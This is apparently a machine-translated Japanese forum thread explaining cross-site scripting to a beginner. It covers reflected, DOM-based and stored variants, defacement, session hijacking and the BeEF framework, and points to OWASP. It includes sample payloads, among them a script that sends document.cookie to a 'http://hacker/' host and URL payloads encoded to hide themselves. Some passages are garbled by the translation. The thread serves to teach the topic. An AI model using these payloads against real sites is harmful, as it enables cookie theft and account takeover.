私はウェブ開発の経験はほとんどありませんが、セキュリティに興味があります。ただし、XSSがどのように機能するかについては完全には理解していません。それをmedに説明できますか?ウィキペディアの記事は私に良い考えを与えてくれますが、私はそれをよく理解しているとは思いません。
XSS-クロスサイトスクリプティング(実際のクロスサイトスクリプティングに限定されない)
XSSは通常、3つの異なる方法で提示されます。
非永続的(しばしばリフレクトXSSと呼ばれます)
これは、コードを挿入でき、サーバーがサニタイズされていない状態でコードを返す場合です。多くの場合、これは(通常は無害に見える)URLを何らかの形で配布したり、他の人がクリックできるようにしたりすることで悪用される可能性があります。
これは、誰かに対する集中的な攻撃に対処する場合に特に効果的です。送信したURLを誰かにクリックさせることができる限り、システムで上位の権限を取得できる可能性があります。
例:
検索フィールドを含むサイトには、適切な入力サニタイズがありません。次のような検索クエリを作成します。
"><SCRIPT>var+img=new+Image();img.src="http://hacker/"%20+%20document.cookie;</SCRIPT>
反対側のWebサーバーでは、2つのスペースがユーザーのCookieであるというヒットを受け取ります。管理者がリンクをクリックすると、ラッキーなことに、セッションIDを盗んでセッションを乗っ取ることができます。
スパムメール、メッセージボードの投稿、IMメッセージ、ソーシャルエンジニアリングツールキットなどの手法を使用すると、この脆弱性は非常に危険になる可能性があります。
DOMベース
Non-persistentとよく似ていますが、JavaScriptペイロードをWebサーバーからエコーバックする必要はありません。多くの場合、これは、すでに常駐しているJavaScriptを使用してロードするときに、URLパラメータの値がその場でページにエコーバックされる場所です。
例:
http://victim/displayHelp.php?title=FAQ#<script>alert(document.cookie)</script>
もちろん、犯罪者はURLを変更して、より無害に見えるようにします。上記と同じペイロードが別の方法でエンコードされました:
http://victim/displayHelp.php?title=FAQ#<scri
#112t>alert(docum
ent.cookie)</sc
ript>
次のようなHTMLをサポートする電子メールクライアントに送信する場合は、マスクを強化することもできます。
<a href="http://victim/displayHelp.php?title=FAQ#<script>alert(document.cookie)
</script>">http://victim/displayHelp.php?title=FAQ</a>
永続的
XSSベクトルを永続化できるようになると、攻撃は非常に速く非常に危険になります。通常、XSSがデータベースフィールドなどに格納されているため、永続的なXSSがサーバーから反映されます。次の入力がデータベースに保存され、プロファイルに表示されることを考慮してください。
<input type="text" value="Your name" />
アプリケーションに無害化されていない入力を受け入れて保存させることができる場合は、他のユーザーにあなたのプロファイル(またはXSSが反映される場所)を表示させるだけです。
これらの種類のXSSは、見つけるのが難しいだけでなく、システムにとって非常に破壊的なものになる可能性があります。 Samyワーム というXSSワームをご覧ください。
XSSの初期の頃には、ゲストブック、コミュニティ、ユーザーレビュー、チャットルームなどでこの種のエクスプロイトが見られました。
2つの攻撃ベクトル
XSSペイロードを配信するさまざまな方法がわかったので、非常に危険になる可能性があるいくつかのXSS攻撃ベクトルについて説明します。
XSSの改ざん
XSSの改ざんは、達成するのが難しいことではありません。 XSSも永続的である場合、システム管理者がそれを理解するのが面倒になる可能性があります。 Amazonの本のプレビュー機能を削除したRSnake Stallowned "attack"を見てください。かなり面白い読書。
Cookieの盗用とセッションの乗っ取り
上記の例の1つと同様に、ユーザーのCookieにアクセスできるようになると、機密情報を取得することもできます。 sessionIDをキャプチャすると、セッションハイジャックが発生し、システムの特権が昇格する可能性があります。
長い投稿については申し訳ありません。もうやめます。ご覧のとおり、XSSは非常に大きなトピックです。少しわかりやすくなったと思いますが。
BeEFでXSSを利用する
XSSがどのように悪用される可能性があるかを簡単に確認するために、ブラウザーの悪用フレームワーク BeEF を試すことをお勧めします。解凍してPHPをサポートするWebサーバーで実行すると、さまざまなXSSペイロードを非常に簡単に試すことができる、ゾンビと呼ばれる)被害者のシミュレーションを簡単に起動できます。 :
リストは続く。 BeEFホームページでビデオを見ることをお勧めします。
UPDATE:完了しました XSSに関する記事 XSSについて説明しているブログで。 XSSの歴史、さまざまな攻撃タイプ、BeEFやShankを含むいくつかのユースケースについて少し説明しています。
SteveSyfuhsの発言に便乗するために、XSSを使用できる悪意のある方法が数多く考えられます。
例:
1つの例は、データベースフィールドに悪意のあるコードを挿入することです。その後、そのフィールドがサニタイズされていないエンドユーザーに表示されるときはいつでも、ブラウザーがコードを実行します。これはPersistent/Stored Cross Site Scriptingと呼ばれます。
もう1つは、コードをGETまたはPOSTパラメータに検証またはサニタイズせずに挿入する機能です。これらの変数がページのコンテンツを変更すると、変更されたデータがエンドユーザーに表示されますそして、彼らのブラウザが悪意のあるコードを実行します。これは通常、誰かがリンクをクリックしたときにこれらのGETパラメータを送信する電子メール/ Webを介した悪意のあるリンクに存在します。これはと呼ばれます。ReflectedCross Site Scripting。
リソース:
Fortify Softwareには、脆弱性を説明し、例を示すための優れたリソースがあります: https://www.fortify.com/vulncat/en/vulncat /index.html
- 選択する言語をクリックし、[入力の検証]で
さまざまなタイプのクロスサイトから選択できる表現
Fortifyソフトウェアによって定義されたスクリプトの脆弱性。[〜#〜] owasp [〜#〜]は、XSSの脆弱性を防ぐ方法を説明するための素晴らしいリソースを持っています: http:// www .owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
XSSは、任意のデータをシステムに入れて、そのデータを変更されていないことをユーザーに示します。いくつかのjsをプロファイルに保存し、誰かにそのページを表示させると、jsが実行されます。例として、jsにユーザーのCookieのコンテンツをWebサービスに送信させ、セッションを盗むなど、Cookieを使用して私がやりたいことを何でもできるようにすることができます。
簡単に言うと、開発者は信頼できない入力をチェックしなかったため、クロスサイトスクリプティングはWebブラウザをだまして悪意のあるコードを実行させます。
したがって、XSS攻撃を例に取ると、信頼できない入力はJavaScriptを含むURLパラメータである可能性があります。開発者は、パラメーターにはデータのみが含まれている(または十分にチェックされていない)と想定し、パラメーターのコンテンツをHTMLページに追加するだけです。その後、ブラウザーはJavaScriptを忠実に実行し、反映されたXSS攻撃を受けます。
詳細はここにあります: OWASP XSSページ